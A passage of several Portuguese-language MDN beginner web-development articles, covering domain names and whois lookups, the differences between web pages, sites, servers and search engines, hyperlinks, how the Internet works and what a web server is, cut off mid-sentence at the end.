nele, como mostrado aqui para `mozilla.org`:\n```\n\n$ whois mozilla.org\nDomain Name:MOZILLA.ORG\nDomain ID: D1409563-LROR\nCreation Date: 1998-01-24T05:00:00Z\nUpdated Date: 2013-12-08T01:16:57Z\nRegistry Expiry Date: 2015-01-23T05:00:00Z\nSponsoring Registrar:MarkMonitor Inc. (R37-LROR)\nSponsoring Registrar IANA ID: 292\nWHOIS Server:\nReferral URL:\nDomain Status: clientDeleteProhibited\nDomain Status: clientTransferProhibited\nDomain Status: clientUpdateProhibited\nRegistrant ID:mmr-33684\nRegistrant Name:DNS Admin\nRegistrant Organization:Mozilla Foundation\nRegistrant Street: 650 Castro St Ste 300\nRegistrant City:Mountain View\nRegistrant State/Province:CA\nRegistrant Postal Code:94041\nRegistrant Country:US\nRegistrant Phone:+1.6509030800\n```\n\n\nComo você pode ver, eu não posso registrar `mozilla.org` porque a Mozilla Foundation já registrou.\n\nPor outro lado, vamos ver se eu poderia registrar `afunkydomainname.org`:\n```\n\n$ whois afunkydomainname.org\nNOT FOUND\n```\n\n\nComo você pode ver, o domínio não existe no banco de dados `whois` (neste momento em que escrevo), então poderíamos pedir para registrá-lo. Bom saber!\n\n#### Obtendo um nome de domínio\n\nO processo é bastante simples:\n\n1. Ir para o site de um registrador.\n2. Geralmente há um apelo chamativo \"Obeter um domain name\" call to action. Clique nele.\n3. Preencher o formulário com todos os detalhes requeridos. Certifique-se especialmente de que você não digitou incorretamente o domain name desejado. Uma vez pago, é tarde demais!\n4. O registrador informará quando o domain name estiver registrado corretamente. Dentro de algumas horas, todos os servidores de DNS receberão suas informações de DNS.\n\n**Nota:** Este tempo é frequentemente chamado de **tempo de propagação.** No entanto, este termo não é preciso, pois a atualização não está se propagando (top → down). Os servidores DNS consultados pelo seu computador (abaixo) são aqueles que buscam as informações do servidor autoritativo (superior) quando precisam.\n\n#### Atualização de DNS\n\nBancos de dados DNS são armazenados em todos os servidores DNS em todo o mundo, e todos esses servidores referem-se a alguns chamados \"servidores de nome autoritativo\" ou \"servidores DNS de nível superior\". Sempre que seu registrador cria ou atualiza qualquer informação para um determinado domínio, a informação deve ser atualizada em todo banco de dados DNS. Cada servidor DNS que conhece um determinado domínio armazena as informações por algum tempo antes de serem automaticamente invalidadas e atualizadas (o servidor DNS cosulta novamente um servidor autoritativo). Assim, leva algum tempo para que os servidores DNS que conhecem esse nome de domínio obtenham as informações atualizadas.\n\n**Nota:** **Note :** This time is often called **propagation time**. However this term is not precise since the update is not propagating itself (top → down). DNS servers queried by your computer (down) are the ones that fetch the information from the authoritative server (top) when they need it.\n\n### Como funciona uma solicitação de DNS?\n\nComo já vimos, quando você deseja exibir uma página da Web em seu navegador, é mais fácil digitar um nome de domínio do que um endereço IP. Vamos dar uma olhada no processo:\n\n1. Digite mozilla.org na barra de localização do seu navegador.\n2. Seu navegador pergunta ao seu computador se ele já reconhece o endereço IP identificado por esse nome de domínio (usando um cache DNS local). Em caso afirmativo, o nome é traduzido para o endereço IP e o navegador negocia o conteúdo com o servidor da Web. Fim da história.\n3. Se o seu computador não sabe qual IP está por trás do nome mozilla.org, ele vai perguntar a um servidor DNS, cujo trabalho é precisamente informar ao seu computador qual endereço IP corresponde a cada nome de domínio registrado.\n4. Agora que o computador conhece o endereço IP solicitado, seu navegador pode negociar o conteúdo com o servidor da web.\n\n![Explanation of the steps needed to obtain the result to a DNS request](/pt-BR/docs/Learn/Common_questions/Web_mechanics/What_is_a_domain_name/2014-10-dns-request2.png)\n\nPróximos passos\n---------------\n\nOk, conversamos muito sobre processos e arquitetura. Hora de seguir em frente.\n\n* Se você quer se envolver, é um bom momento para começar a investigar o design e explorar a anatomia de uma página da web.\n* É importante notar também que alguns aspectos da construção de um site custam dinheiro. Por favor, consulte quanto custa construir um site (en-US).\n* Ou leia mais sobre o nome de domínio na Wikipedia.\n* Você também pode encontrar aqui uma explicação divertida e colorida de como o DNS funciona."}
{"title":"Qual a diferença entre página web, site, servidor web e mecanismo de busca? - Aprendendo desenvolvimento web","text":"Qual a diferença entre página web, site, servidor web e mecanismo de busca?\n===========================================================================\n\nNeste artigo, iremos apresentar diversos conceitos relacionados à Web: páginas web, sites, servidores web e mecanismos de busca. Estes termos são confundidos frequentemente por iniciantes na web, ou são empregados de forma incorreta. Vamos aprender o que cada um significa!\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Você deverá conhecer\n como a Internet funciona.\n  |\n| Objetivo: | \n Tornar o leitor apto a descrever as diferenças entre uma página web, um\n site, um servidor web e um mecanismo de busca.\n  |\n\nSumário\n-------\n\nComo qualquer outra área do conhecimento, a web possui um grande número de jargões. Não se preocupe, nós não iremos te sobrecarregar com todos eles (temos um glossário se você estiver curioso). Todavia, existem alguns termos básicos que você precisa conhecer inicialmente, já que você sempre ouvirá estas expressões enquanto estiver lendo sobre o assunto. É muito fácil confundir tais termos ocasionalmente, uma vez que eles se referem a funcionalidades relacionadas porém diferentes. Na verdade, às vezes você verá esses termos mal utilizados nos noticiários e em outros lugares, portanto, misturá-los é compreensível.\n\nCobriremos esses termos e tecnologias com mais detalhes à medida que exploramos mais, mas essas definições rápidas serão um ótimos começo para você:\n\npágina web\n\nUm documento que pode ser mostrado em um navegador web como Firefox, Google Chrome, Opera, Microsoft Internet Explorer ou Edge, ou Safari da Apple. Tais documentos também podem ser referenciados apenas por \"páginas\".\n\nsite\n\nUm conjunto de páginas web agrupadas juntas e geralmente conectadas juntas de diversas formas. Também conhecido como \"web site\" ou simplesmente \"site\".\n\nservidor web\n\nUm computador que hospeda um site na Internet.\n\nmecanismo de busca\n\nUm serviço da web que te auxilia a encontrar outras páginas da web, como o Google, o Bing, o Yahoo ou o DuckDuckGo. Os motores de busca são normalmente acessados através de um navegador da web (por exemplo, você pode realizar pesquisas em mecanismos de busca diretamente na barra de endereços do Firefox, Chrome, etc.) ou através de uma página da web (por exemplo, bing.com ou duckduckgo.com).\n\nVamos ver uma analogia simples - uma biblioteca pública. Isto é o que você geralmente faria ao visitar uma biblioteca:\n\n1. Procura no índice de buscas e verifica o título do livro que você deseja.\n2. Anota o número de catálogo do livro desejado.\n3. Se dirige à seção particular que contém o livro, encontra o número catalográfico correto, e então apanha o livro.\n\nComparemos a biblioteca com um servidor web:\n\n* A biblioteca é como um servidor web. Ela possui muitas seções, tal qual um servidor hospedando múltiplos websites.\n* As diferentes seções (Ciências, Matemática, História, etc.) na biblioteca são como os sites. Cada seção é como um único site (duas seções não conterão os mesmos livros).\n* Os livros em cada seção correspondem às páginas web. Um website pode conter diversas páginas, por exemplo, na seção de Ciências (o site) terá livros sobre calor, som, termodinâmica, estática, etc. (as páginas web). As páginas da web podem ser encontradas em um local exclusivo (URL).\n* O índice de buscas é como o mecanismo de busca. Cada livro possui sua própria localização exclusiva na biblioteca (dois livros não podem ser armazenados no mesmo local), o que é especificado pelo código catalográfico.\nAprendizado ativo\n-----------------\n\n*Ainda não há nenhum aprendizado ativo. Por favor, considere fazer uma contribuição.*\n\nImersão a Fundo\n---------------\n\nBem, então vamos escavar um pouco mais a fundo sobre estes quatro termos, em como se inter-relacionam e por qual motivo são, ocasionalmente, confundidos entre si.\n\n### Página web\n\nUma **página web** é simplesmente um documento que é renderizado (\"mostrado\") por um navegador. Tais documentos são escritos com uso da linguagem HTML (a qual iremos ver em maiores detalhes em outros artigos). Uma página web pode possuir uma variedade de diferentes tipos de recursos incorporados a ela, como:\n\n* *informação de estilo* — controlando como a página se apresenta e se comporta (*look-and-feel*)\n* *scripts* — os quais são responsáveis por adicionar interatividade à página\n* *mídia* — imagens, sons e vídeos.\n\n> \n> \\*\\*Nota:\\*\\*Navegadores também são capazes de renderizar outros documentos, como arquivos PDF (en-US) ou imagens, porém o termo **página web** se refere especificamente a documentos HTML. Todavia, usaremos apenas o termo **documento**.\n> \n> \n> \n\nTodas as páginas web disponíveis na web são alcançáveis através de um único endereço. Para acessar uma página, basta digitar seu endereço na barra de endereços do seu navegador:\n\n![Example of a web page address in the browser address bar](/pt-BR/docs/Learn/Common_questions/Web_mechanics/Pages_sites_servers_and_search_engines/web-page.jpg)\n\n### Site\n\nUm *site* é um conjunto de páginas web vinculadas (mais os recursos associados a elas) que compartilham um único nome de domínio. Cada página web de um dado website provê links explícitos - na maior parte do tempo na forma de texto clicável - que possibilitam a um usuário mover-se de uma página do website à outra.\n\nPara acessar um website, digite o nome de domínio na barra de endereço do seu navegador, e então o navegador irá mostrar a página web principal daquele website, ou a *homepage* (casualmente referenciada como \"a *home*\").\n\n![Example of a web site domain name in the browser address bar](/pt-BR/docs/Learn/Common_questions/Web_mechanics/Pages_sites_servers_and_search_engines/web-site.jpg)\n\nOs conceitos de página web e de website são especialmente fáceis de se confundir quando um *website* possui apenas uma *página web*. Websites com esta característica são ocasionalmente chamados de *websites de página única* (*single-page website*).\n\n### Servidor web\n\nUm *servidor* *web* nada mais é que um computador hospedando um ou mais *websites*. \"Hospedar\" significa que todas as *páginas web* e seus arquivos auxiliares estão disponíveis a partir daquele computador. O *servidor web* enviará qualquer *página web* a partir do *website* que está hospedado nele para o navegador de qualquer usuário que o tenha requisitado (feito uma *requisição*).\n\nNão confunda *websites* e *servidores*. Por exemplo, caso você ouça alguém dizer: \"Meu website não está respondendo\", isto atualmente significa que o *servidor web* não está respondendo, logo o *website* encontra-se indisponível. Mais importante, uma vez que um único servidor web é capaz de hospedar múltiplos *websites*, o termo *servidor web* nunca deve ser empregado para se referir a um website, uma vez que isso pode provocar uma grande confusão. Em nosso exemplo anterior, caso disséssemos: \"Meu servidor web não está respondendo\", significaria que todos os websites hospedados naquele servidor específico encontrariam-se indisponíveis.\n\n### Mecanismos de Pesquisa\n\nMecanismos de pesquisa são uma fonte comum de confusão na web. Um mecanismo de pesquisa é um tipo especial de website que auxilia usuários a encontrar páginas web de *outros* websites.\n\nHá um número abundante destas ferramentas: Google, Bing, Yandex, DuckDuckGo e diversos outros. Alguns são genéricos, outros especializam-se em tópicos específicos. Utilize qualquer um de sua preferência.\n\nMuitos iniciantes na web confundem mecanismos de pesquisa e navegadores. Tornemos tudo mais claro: um **navegador** é uma aplicação de software que recupera e renderiza páginas web; um **mecanismo de pesquisa** é um website que ajuda pessoas a encontrarem páginas web de outros websites. A confusão ocorre porque, da primeira vez que alguém executa um navegador, este mostra uma página inicial de um mecanismo de pesquisa. Este comportamento faz sentido, pois, evidentemente, a primeira coisa que você deseja fazer com um navegador é encontrar uma página web para renderizar. Não confunda a infraestrutura (neste caso, o navegador) com o serviço (aqui representado pelo mecanismo de pesquisa). A distinção irá ajudá-lo muito, mas mesmo alguns profissionais tendem a falar de forma mais informal, portanto não se preocupe com isso.\n\nAqui há uma instância do Firefox mostrando uma caixa de pesquisa do Google como sua página inicial padrão:\n\n![Example of Firefox nightly displaying a custom Google page as default](/pt-BR/docs/Learn/Common_questions/Web_mechanics/Pages_sites_servers_and_search_engines/search-engine.jpg)\n\nPróximos passos\n---------------\n\n* Escavando a fundo: O que é um servidor web (en-US)\n* Veja como páginas web são vinculadas dentro de um website: Entendendo links na web"}
{"title":"O que são hyperlinks? - Aprendendo desenvolvimento web","text":"O que são hyperlinks?\n=====================\n\nNeste artigo, veremos o que são hiperlinks e por que eles são importantes.\n\n|  |  |\n| --- | --- |\n| Pré requisitos: | \n Você deve saber\n como a Internet funciona e estar familiarizado coma diferença entre uma página da web, um site, um servidor da web e um\nmecanismo de pesquisa (en-US).\n  |\n| Objetivo: | Aprenda sobre links na Web e por que eles são importantes. |\n\nSumário\n-------\n\nHyperlinks, geralmente chamados de links, são um conceito fundamental da Web. Para explicar o que são links, precisamos voltar ao básico da arquitetura da Web.\n\nEm 1989, Tim Berners-Lee, o inventor da Web, falou sobre os três pilares sobre os quais a Web se sustenta:\n\n1. \"URL\", um sistema de endereços que mantém o controle de documentos da Web;\n2. \"HTTP\", um protocolo de transferência para encontrar documentos ao receber seus URLs;\n3. \"HTML\", um formato de documento que permite incorporar *hyperlinks;*\n\nComo você pode ver nos três pilares, tudo na Web gira em torno de documentos e como acessá-los. O propósito original da Web era fornecer uma maneira fácil de acessar, ler e navegar por documentos de texto. Desde então, a Web evoluiu para fornecer acesso a imagens, vídeos e dados binários, mas essas melhorias dificilmente mudaram os três pilares.\n\nAntes da Web, era muito difícil acessar documentos e passar de um para outro. Por serem legíveis por humanos, os URLs já tornaram as coisas mais fáceis, mas é difícil digitar um URL longo sempre que você deseja acessar um documento. Foi aqui que os hiperlinks revolucionaram tudo. Os links podem correlacionar qualquer string de texto com um URL, de forma que o usuário possa acessar instantaneamente o documento de destino ativando o link.\n\nOs links se destacam do texto ao redor por serem sublinhados e em azul. Toque ou clique em um link para ativá-lo ou, se usar um teclado, pressione Tab até que o link esteja em foco e pressione Enter ou a barra de espaço.\n\n![Example of a basic display and effect of a link in a web page](/pt-BR/docs/Learn/Common_questions/Web_mechanics/What_are_hyperlinks/link-1.png)\n\nOs links são o avanço que tornou a Web tão útil e bem-sucedida. No restante deste artigo, discutiremos os vários tipos de links e sua importância para o design moderno da Web.\n\nMergulho Profundo\n-----------------\n\nComo dissemos, um link é uma string de texto ligada a uma URL e usamos links para permitir um salto fácil de um documento para outro. Dito isso, existem algumas nuances que vale a pena considerar:\n\n### Tipos de links\n\nLink interno\n\nUm link entre duas páginas da web, em que ambas as páginas pertencem ao mesmo site, é chamado de link interno. Sem links internos, não existe site (a menos, é claro, que seja um site de uma página).\n\nLink externo\n\nUm link de sua página da web para a página de outra pessoa. Sem links externos, não há Web, pois a Web é uma rede de páginas da web. Use links externos para fornecer informações além do conteúdo disponível em sua página da web.\n\nLinks de entrada\n\nUm link da página de outra pessoa para o seu site. É o oposto de um link externo. Observe que você não precisa vincular de volta quando alguém se vincula ao seu site.\n\nAo construir um site, concentre-se nos links internos, pois eles tornam seu site utilizável. Encontre um bom equilíbrio entre ter muitos links e poucos. Falaremos sobre como projetar a navegação do site em outro artigo, mas como regra, sempre que você adicionar uma nova página da web, certifique-se de que pelo menos uma das outras páginas tenha um link para essa nova página. Por outro lado, se seu site tiver mais de dez páginas, é contraproducente vincular a todas as páginas a partir de todas as outras.\n\nQuando você está começando, não precisa se preocupar tanto com links externos e recebidos, mas eles são muito importantes se você deseja que os mecanismos de pesquisa encontrem seu site (veja abaixo para mais detalhes).\n\n### Âncoras\n\nMuitos links unem duas páginas da web. **Âncoras** amarrar duas seções de um documento. Quando você segue um link que aponta para uma âncora, seu navegador salta para outra parte do documento atual em vez de carregar um novo documento. No entanto, você cria e usa âncoras da mesma forma que outros links.\n\n![Example of a basic display and effect of an anchor in a web page](/pt-BR/docs/Learn/Common_questions/Web_mechanics/What_are_hyperlinks/link-2.png)\n\n### Links e Mecanismos de pesquisa\n\nOs links são importantes tanto para os usuários quanto para os mecanismos de pesquisa. Sempre que os mecanismos de pesquisa rastreiam uma página da web, eles indexam o site seguindo os links disponíveis na página. Os mecanismos de pesquisa não apenas seguem os links para descobrir as várias páginas do site, mas também usam o texto visível do link para determinar quais consultas de pesquisa são apropriadas para chegar à página da web de destino.\n\nOs links influenciam a rapidez com que um mecanismo de pesquisa se vincula ao seu site. O problema é que é difícil medir as atividades dos mecanismos de pesquisa. As empresas desejam naturalmente que seus sites tenham uma classificação elevada nos resultados de pesquisa. Sabemos o seguinte sobre como os mecanismos de pesquisa determinam a classificação de um site:\n\n* O *texto visível* de um link influencia quais consultas de pesquisa encontrarão um determinado URL.\n* Quanto mais *links de entrada* uma página da web pode mostrar, melhor ela se classifica nos resultados de pesquisa.\n* *Links externos* influenciam a classificação de pesquisa das páginas da web de origem e de destino, mas não está claro quanto.\n\nSEO (search engine optimization) é o estudo de como fazer com que os sites tenham uma classificação elevada nos resultados de pesquisa. Melhorar o uso de links em um site é uma técnica de SEO útil.\n\nPróximos Passos\n---------------\n\nAgora você vai querer configurar algumas páginas da web com links.\n\n* Para obter mais informações teóricas, aprenda sobre URLs e sua estrutura (en-US), já que cada link aponta para um URL.\n* Quer algo um pouco mais prático? O Criando hyperlinks *(em inglês)*, artigo da nossa Introdução ao HTML *(em inglês)*, explica como implementar links em detalhes."}
{"title":"Como a Internet funciona? - Aprendendo desenvolvimento web","text":"Como a Internet funciona?\n=========================\n\nEste artigo discute sobre o que é e como funciona a internet.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Nenhum, mas encorajamos a ler primeiro\n Como eu começo a criar meu site? |\n| Objetivo: | Você irá aprender o básico da infraestrutura técnica da Web e a diferença entre Internet e Web. |\n\nResumo\n------\n\nA **Internet** é a espinha dorsal da Web, a infraestrutura técnica que faz a Web possível. Mas basicamente, a Internet é uma gigantesca rede de computadores que se comunicam juntos.\n\nA história da internet é um pouco obscura. Ela começou nos anos 60 como um projeto de pesquisa consolidado pelo exército norte americano, e tornou-se uma infraestrutura pública nos anos 80 com o suporte dado por diversas universidades públicas e companhias privadas. As várias tecnologias que suportam a internet evoluíram através do tempo, mas a forma de funcionamento não mudou muito: Internet é uma forma de conectar computadores e garantir, em qualquer situação, que eles encontrem uma forma de se manter conectados.\n\nAprendizado Ativo\n-----------------\n\n* Como a Internet funciona em 5 minutos: Um vídeo de 5 minutos para entender os conceitos básicos da Internet feito por Aaron Titus.\n* Como a Internet funciona?: Vídeo animado de 9 minutos bem detalhado feito pelo canal Lesics (Learn Engineering Through Physics).\nMergulho Profundo\n-----------------\n\n### Uma rede simples\n\nQuando dois computadores precisam se comunicar, você precisa conectá-los, seja fisicamente (normalmente com um Cabo de rede) ou de uma forma sem fio (por exemplo com sistemas WiFi ou Bluetooth). Todos os computadores modernos suportam alguma(s) dessas conexões.\n\n**Nota:** Até o final deste artigo nós estaremos falando apenas a respeito de cabos físicos, mas redes sem fio funcionam da mesma forma\n\n![Dois computadores conectados](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/internet-schema-1.png)\n\nUma rede não é limitada a dois computadores. Você pode conectar quantos computadores desejar. Mas isto se torna complicado. Se você está tentando conectar, digamos, dez computadores, você irá precisar de 45 cabos, com 9 conexões por computador!\n\n![Dez computadores conectados entre si](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/internet-schema-2.png)\n\nPara resolver este problema, cada computador na rede está conectado a um pequeno computador especial chamado de *roteador*. Este *roteador* tem um único trabalho: como um sinalizador em uma estação de trem, ter certeza de que a mensagem enviada por um determinado computador chegue ao computador destinatário corretamente. Para enviar uma mensagem para o computador B, o computador A deve enviar a mensagem para o roteador, que por sua vez encaminha a mensagem para o computador B e tem a certeza de que a mensagem não foi entregue ao computador C.\n\nUma vez que nós adicionamos um roteador no sistema, nossa rede de 10 computadores apenas necessitará de 10 cabos: uma única conexão para cada computador e um roteador com 10 conexões.\n\n![10 computadores com um roteador](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/internet-schema-3.png)\n\n### Uma rede de redes\n\nPor enquanto, tudo bem. Mas como conectar centenas, milhares, bilhões de computadores? Claro que um único *roteador* não pode se adaptar para tanto, mas, se você ler com cuidado, nós dissemos que um *roteador* é um computador como qualquer outro, então o que nos impede de conectar dois *roteadores* juntos? Nada, então façamos isto.\n\n![Dois roteadores conectados](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/internet-schema-4.png)\n\nConectando computadores a roteadores, e então roteadores a roteadores nós podemos escalar nossa rede infinitamente.\n\n![Roteadores conectados a roteadores](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/internet-schema-5.png)\n\nEsta rede é muito parecida com o que chamamos de Internet, mas alguma coisa está faltando. Nós construímos tais redes para nossos próprios fins. Existem outras redes além das nossas ligadas em outros lugares: nossos amigos, vizinhos, qualquer pessoa pode ter uma rede de computadores. Mas é inviável ligarmos cabos entre nossas casas e o resto do mundo, então como nos podemos lidar com isso? Muito bem, já existem cabos ligados a sua casa, como por exemplo, cabos de eletricidade e telefone. A estrutura do telefone já conecta nossa casa com o resto do mundo, então é exatamente o que nós precisamos. Para conectar nossa rede a rede telefônica, precisamos de um equipamento especial chamado *modem*. Este *modem* transforma a informação da nossa rede em uma informação gerenciável pela rede telefônica e vice-versa.\n\n![Um roteador conectado a um modem](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/internet-schema-6.png)\n\nEntão nós estamos conectados à infraestrutura telefônica. O próximo passo é enviar mensagens da nossa rede para a rede que nós desejamos alcançar. Para fazer isto, vamos precisar conectar nossa rede a um Provedor de Serviço de Internet (ISP, em inglês). Um ISP é uma companhia que gerencia alguns roteadores especiais que são conectados e podem também acessar roteadores de outros ISPs. Então a mensagem da nossa rede é transportada para a rede de redes do ISP e então para a rede de destino. A Internet é composta por toda esta infraestrutura de redes.\n\n![Pilha completa da Internet](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/internet-schema-7.png)\n\n### Encontrando computadores\n\nSe você quer enviar uma mensagem para um computador, você precisa especificar qual é este computador. Por isso, qualquer computador conectado à uma rede possui um único endereço de identificação, chamado de \"Endereço IP\" (onde IP, do inglês *Internet Protocol*, significa Protocolo de Internet). Este é um endereço composto por uma série de 4 números separados por pontos, por exemplo: `192.168.2.10`.\n\nIsto é perfeito para computadores, mas nós seres humanos temos dificuldades para lembrar estes endereços. Para tornar as coisas mais fáceis, nós podemos dar apelidos aos endereços IP que nós humanos podemos compreender, chamados *nome de domínio*. Por exemplo, `google.com` é um nome de domínio usado para \"apelidar\" o endereço `142.250.190.78` (no momento em que este artigo foi escrito. Endereços de IP podem mudar). Então, usando o nome de domínio é uma forma mais simples de encontrar um computador na Internet.\n\n![Mostrando como um nome de domínio pode criar um apelido para um endereço IP](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/dns-ip.png)\n\n### A Internet e a Web\n\nComo você deve ter notado, quando navegamos na Web com nossos navegadores, normalmente utilizamos os nomes de domínios para chegar a um website. Isto significa que a Internet e a Web são a mesma coisa? Não é tão simples assim. Como vimos, a Internet é uma infraestrutura técnica que permite conectar bilhões de computadores. Entre estes computadores, alguns computadores (chamados de *servidores Web*) podem enviar mensagens inteligíveis para navegadores Web. A *Internet* é a infraestrutura, enquanto a *Web* é um serviço construído sob esta infraestrutura. Vale a pena notar que existem diversos outros serviços que funcionam na Internet, tais como email e IRC.\n\n### Intranets e Extranets\n\n*Intranets* são redes *privadas* restritas aos membros de uma organização particular.\n Elas são geralmente usadas para prover um portal para que tais membros tenham acesso a recursos compartilhados, possam colaborar e comunicarem-se entre si de forma segura.\n\nPor exemplo, a intranet de uma organização pode hospedar páginas da web para compartilhar informações de departamentos ou equipes, unidades compartilhadas para gerenciamento de documentos e arquivos importantes, portais para executar tarefas de administração de negócios e ferramentas de colaboração como wikis, quadros de discussão e sistemas de mensagens.\n\n*Extranets* são bastante semelhantes às *Intranets*, exceto pelo fato de que abrem toda ou parte de uma rede privada para permitir o compartilhamento e a colaboração com outras organizações.\n\nElas são normalmente usadas para compartilhar informações de forma segura com clientes e partes interessadas que trabalham em estreita colaboração com uma empresa. Frequentemente, suas funções são semelhantes às fornecidas por uma intranet: informações e compartilhamento de arquivos, ferramentas de colaboração, fóruns de discussão, etc.\n\nTanto as intranets quanto as extranets são executadas no mesmo tipo de infraestrutura que a *Internet* e usam os mesmos protocolos. Eles podem, portanto, ser acessados por membros autorizados de diferentes locais físicos.\n\n![Representação Gráfica de como uma Extranet e uma Intranet funcionam](/pt-BR/docs/Learn/Common_questions/Web_mechanics/How_does_the_Internet_work/internet-schema-8.png)\n\nPróximos passos\n---------------\n\n* Como a Web funciona\n* Entendendo a diferença entre uma página web, um website, um servidor web e um mecânismo de pesquisa\n* Entendendo nomes de domínio"}
{"title":"O que é um servidor web (web server)? - Aprendendo desenvolvimento web","text":"O que é um servidor web (web server)?\n=====================================\n\nNeste artigo vamos revisar o que são web servers, como eles funcionam, e por que eles são importantes.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Você deve saber\n como a Internet funciona\n e\n entender a diferença entre uma página web, um site, um servidor web e\num mecanismo de busca.\n  |\n| Objetivo: | \n Você irá aprender o que é um servidor web e compreender de modo geral\n como ele funciona.\n  |\n\nSumário\n-------\n\n\"Servidor web (*web server*)\" pode referir ao hardware ou ao software, ou ambos trabalhando juntos.\n\n1. Referente ao hardware, um servidor web é um computador que armazena arquivos que compõem os sites (por exemplo, documentos HTML, imagens, folhas de estilo, e arquivos JavaScript) e os entrega para o dispositivo do usuário final. Está conectado a Internet e pode ser acessado através do seu nome de domínio (DNS), como por exemplo `mozilla.org`.\n2. Referente ao software, um servidor web inclui diversos componentes que controlam como os usuários acessam os arquivos hospedados (armazenados para disponibilização), no mínimo um *servidor HTTP.* Um servidor HTTP é um software que compreende URLs (endereços web) e HTTP (o protocolo que seu navegador utiliza para visualizar páginas web.\n\nEm um nível mais básico, o navegador fará uma requisição utilizando o protocolo HTTP sempre que necessitar de um um arquivo hospedado em um servidor web. Quando a requisição alcançar o servidor web correto (hardware), o *servidor HTTP* (software) enviará o documento requerido, também via HTTP.\n\n![Basic representation of a client/server connection through HTTP](/pt-BR/docs/Learn/Common_questions/Web_mechanics/What_is_a_web_server/web-server.svg)\n\nPara publicar um website, é necessário ou um servidor web estático ou um dinâmico.\n\nUm **servidor web estático** consiste em um computador (hardware) com um servidor HTTP (software). É chamado \"estático\" porque o servidor envia seus arquivos tal como foram criados e armazenados (hospedados) ao navegador.\n\nUm **servidor web dinâmico** consiste em um servidor web estático com software adicional, mais comumente um servidor de aplicações (*application server)* e um banco de dados (*database).* É chamado \"dinâmico\" porque o servidor de aplicações atualiza os arquivos hospedados antes de enviá-los ao navegador através do servidor HTTP.\n\nPor exemplo, para produzir as páginas finalizadas que você vê em seu navegador, o servidor de aplicações pode completar um modelo de página HTML (*HTML template*) com o conteúdo obtido de um banco de dados. Sites como o MDN ou a Wikipédia possuem vários milhares de páginas web, mas elas não são realmente documentos HTML, mas apenas alguns poucos *templates* HTML e uma gigantesca base de dados. Essa configuração agiliza e facilita o gerenciamento e a entrega do conteúdo.\n\nAprendizado ativo\n-----------------\n\n*Ainda não há aprendizado ativo disponível. Por favor, considere contribuir (en-US).*\n\nEntrando a fundo\n----------------\n\nPara carregar uma página *web*, como já foi dito, seu *browser* envia uma requisição ao servidor *web*, que busca pelo arquivo requisitado no seu próprio espaço de armazenamento. Ao encontrar o arquivo, o servidor *web* realiza a leitura, faz os processamentos necessários e o envia ao *browser*. Vamos olhar mais detalhamente para essas etapas.\n\n### Servindo arquivos\n\nUm servidor *web* precisa primeiro armazenar os arquivos dos *websites*, como todos os documentos HTML e seus *assets*, que incluem imagens, páginas de estilo CSS, arquivos JavaScript, fontes e vídeos.\n\nTécnicamente, você pode servir todos esses arquivos em seu próprio computador. Mas, é muito mais conveniente armazená-los em um servidor web dedicado que\n\n* está sempre \"vivo\" e rodando\n* está sempre conectado à Internet\n* tem o mesmo endereço IP sempre (nem todos ISPs (en-US) fornecem um endereço IP fixo para linhas domésticas)\n* é mantido por um provedor de terceiros\n\nPor todas essas razões, encontrar um bom provedor de servidores é a chave para criar seu próprio *website*. Pesquise pelos vários serviços oferecidos e escolha aquele que melhor se alinha às suas necessidades e ao bolso (os serviçoes variam em uma faixa desde zero até milhares de dólares por mês). Você pode encontrar mais detalhes nesse artigo.\n\nUma vez que você escolheu uma solução de servidores web, você só precisa fazer o *upload* dos seus arquivos para o servidor *web* (en-US).\n\n### Comunicando através do HTTP\n\nSegundo, um servidor web fornece suporte para HTTP (protocolo de transferência de hipertexto). Como o próprio nome indica, o HTTP especifica como transferir arquivos de hipertexto (ou seja, documentos vinculados da web) entre dois computadores.\n\nUm *protocolo* é um conjunto de regras para comunicação entre dois computadores. HTTP é um protocolo textual sem estado.\n\nTextual\n\nTodos os comandos são de texto simples e legíveis por humanos.\n\nSem estado\n\nNem o servidor nem o cliente lembram de comunicações anteriores. Por exemplo, confiando apenas no HTTP, um servidor não consegue se lembrar de uma senha digitada ou da etapa em que você está em uma transação. Você precisa de um servidor de aplicativos para tarefas como essa. (Nós vamos cobrir esse tipo de tecnologia em mais artigos.)\n\nO HTTP fornece regras claras sobre como um cliente e um servidor se comunicam. Abordaremos o próprio HTTP em um artigo técnico mais adiante. Por enquanto, apenas fique atento a estas coisas:\n\n* Somente *clientes* podem fazer requisições HTTP, e somente para *servidores.* Servidores podem apenas *responder* a uma requisição HTTP dos *clientes*.\n* Quando fizer a requisição de um arquivo via HTTP, os clientes devem fornecer a URL do arquivo.\n* O servidor web *deve responder* todas as requisições HTTP, mesmo que seja com uma mensagem de erro.\n\n![The MDN 404 page as an example of such error page](/pt-BR/docs/Learn/Common_questions/Web_mechanics/What_is_a_web_server/mdn-404.jpg)Em um servidor web, o servidor HTTP é responsável por processar e responder as requisições recebidas.\n\n1. Ao receber uma requisição, um servidor HTTP primeiramente confirma se a URL requisitada corresponde ao arquivo existente.\n2. Se confirmar, o servidor web envia o conteúdo do arquivo de volta ao navegador. Senão, o servidor de aplicações cria o arquivo necessário.\n3. Se nenhum dos processos for possível, o servidor web retorna uma mensagem de erro ao navegador, mais conhecido como \"404 Not Found\". (Esse erro é tão comum que muitos desevolvedores web passam um bom tempo criando páginas de erro do 404.)\n### Conteúdo estático vs. dinâmico\n\nA grosso modo, um servidor pode fornecer tanto um conteúdo estático quanto dinâmico. \"Estático\" significa \"da forma que está\". Websites estáticos são os mais fáceis de configurar, então sugerimos que faça seu primeiro site estático.\n\n\"Dinâmico\" significa que o servidor processa o conteúdo ou o gera a partir de um banco de dados. Essa solução fornece mais flexibilidade, mas a arquitetura fica mais difícil de lidar, fazendo com que seja dramaticamente mais complexo desenvolver o website.\n\nVeja por exemplo a página na qual está lendo agora. No servidor web que a hospeda, há um 